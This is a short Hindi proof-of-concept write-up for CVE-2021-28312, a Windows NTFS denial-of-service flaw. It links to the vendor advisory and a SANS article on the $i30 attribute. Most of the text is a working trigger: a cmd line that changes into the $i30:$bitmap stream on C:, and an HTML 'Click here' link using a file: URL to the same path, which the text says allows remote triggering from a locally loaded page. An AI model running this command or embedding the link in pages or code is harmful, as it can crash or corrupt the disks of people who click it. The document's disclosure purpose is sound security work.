CVE-2021-28312

CVE-2021-28312 के लिए POC और विवरण

Windows NTFS सेवा अस्वीकार भेद्यता

लिंक: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28312

पुनरुत्पादन

cmd से: निम्नलिखित कमांड टाइप करें cd c:\:$i30:$bitmap
दूरस्थ शोषण संभावना: स्थानीय रूप से लोड किए गए पृष्ठ पर निम्नलिखित लिंक जोड़कर किया जा सकता है

<a href="file:\\c:\:$i30:$bitmap">Click here</a>

$i30 विशेषता के बारे में विवरण: https://www.sans.org/blog/ntfs-i30-index-attributes-evidence-of-deleted-and-overwritten-files/